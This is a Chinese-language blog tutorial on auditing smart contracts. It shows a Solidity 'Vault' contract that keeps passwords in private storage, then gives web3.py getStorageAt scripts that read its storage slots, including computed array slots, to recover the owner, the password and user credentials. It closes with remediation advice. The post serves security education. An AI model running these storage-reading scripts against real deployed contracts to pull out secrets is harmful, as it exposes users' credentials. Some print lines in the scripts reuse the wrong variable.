【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)

在这里插入图片描述

前言

【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行案例分析。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    // 公共变量,可以通过 getter 函数读取
    // slot 0
    uint public count = 123;

    // 部署合约的地址会成为 owner
    // slot 1
    address public owner = msg.sender;

    // 示例布尔值和 uint16 类型变量
    // slot 1
    bool public isTrue = true;
    uint16 public u16 = 31;

    // 私有密码变量,不能通过合约外部直接访问
    // slot 2
    bytes32 private password;

    // 常量值,在部署时就固定,不可更改
    // 编译时嵌入,不占 slot
    uint public constant someConst = 123;

    // 固定长度的 bytes32 数组,长度为 3
    // slot 3、slot 4、slot 5
    bytes32[3] public data;

    // 用户结构体,包含用户 ID 和密码字段
    struct User {
        uint id;
        bytes32 password;
    }

    // 用户动态数组,仅限内部访问
    // slot 6
    User[] private users;

    // 映射:通过用户 ID 查找对应的用户结构体
    mapping(uint => User) private idToUser;

    // 构造函数,在部署时设置初始密码
    constructor(bytes32 _password) {
        password = _password;
    }

    // 添加新用户,自动分配 ID,并存储在数组和映射中
    function addUser(bytes32 _password) public {
        User memory user = User({
            id: users.length,
            password: _password
        });

        users.push(user);
        idToUser[user.id] = user;
    }

    // 工具函数:用于计算数组中元素的 storage 位置
    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    // 工具函数:用于计算映射中某个键的 storage 位置
    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}

代码审计

从上述 Vault 合约代码可以看出,合约将用户的敏感信息(如用户名与密码)直接存储在链上。尽管使用了 private 关键字对变量进行了访问限制,但在区块链中,所有合约数据都是公开可见的。private 仅限制了其他合约或外部账户通过函数调用访问变量的能力,但无法阻止任何人通过读取链上存储数据(storage)来获取这些信息。

下面展示如何获取敏感数据。

攻击步骤

攻击前提:Vault 合约已部署在链上。

首先,我们可以通过以下方式读取合约中第一个存储槽(slot 0)中的 uint 类型变量 count 的值:

slot0 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x0')
print(w3.toHex(slot0))

这里结果是以十六进制形式输出的:

0x000000000000000000000000000000000000000000000000000000000000007b

对其转换得到十进制123:

在这里插入图片描述

因此 count 的值为123。

再通过该脚本:

slot1 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x1')
print(w3.toHex(slot0))

得到:

0x00000000000000000001f01f36467c4e023c355026066b8dc51456e7b791d99

从右往左依次为

  • owner = f36467c4e023c355026066b8dc51456e7b791d99
  • isTrue = 01 = true
  • u16 = 1f = 31

再通过该脚本获取 slot 2,其中存有私有变量 password:

slot2 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x2')
print(w3.toHex(slot0))

得到:

0x4141414242424343430000000000000000000000000000000000000000

现在我们想获取用户的用户名密码,则需要访问 slot 6 的内容。

由于 User 是一个结构体:

struct User {
    uint id;           // 32 bytes,占用 1 slot
    bytes32 password;  // 32 bytes,占用 1 slot
}

所以,每个 User 占用两个连续的 storage slot。

因此,通过【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)的知识,我们可以知道,在该变长数组中:

  • users[0].id 存在 keccak256(6) = 0xf652…3f
  • users[0].password 存在 keccak256(6) + 1 = 0xf652…40

在这里插入图片描述

因此可以通过如下语句访问 user1 的 ID 与密码:

user1ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f")
print('user1的ID是'+w3.toHex(user1ID))

user1password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40")
print('user1的密码是'+w3.toHex(user1password))

输出如下:

在这里插入图片描述

同理,user2ID 与 user2password 的地址依次递增,通过该脚本即可读取:

user2ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41")
# 末尾改为41
print('user2的ID是'+w3.toHex(user2ID))

user2password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42")
# 末尾改为42
print('user2的密码是'+w3.toHex(user2password))

输出如下:

在这里插入图片描述

综上,我们通过分析、操作得到了该合约的私有数据。

修复/开发建议

谨记以下三条原则:

1.敏感数据(如密码)不应以明文形式存储在链上;

2.在上链前对数据进行哈希处理(例如,仅存储 keccak256(password) 的结果);

3.使用 private 无法阻止链上其他人读取。

审计思路

在审计过程中,应特别关注合约中是否存在敏感数据的存储,例如密钥、游戏通关口令等关键信息。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/147059511
今日推荐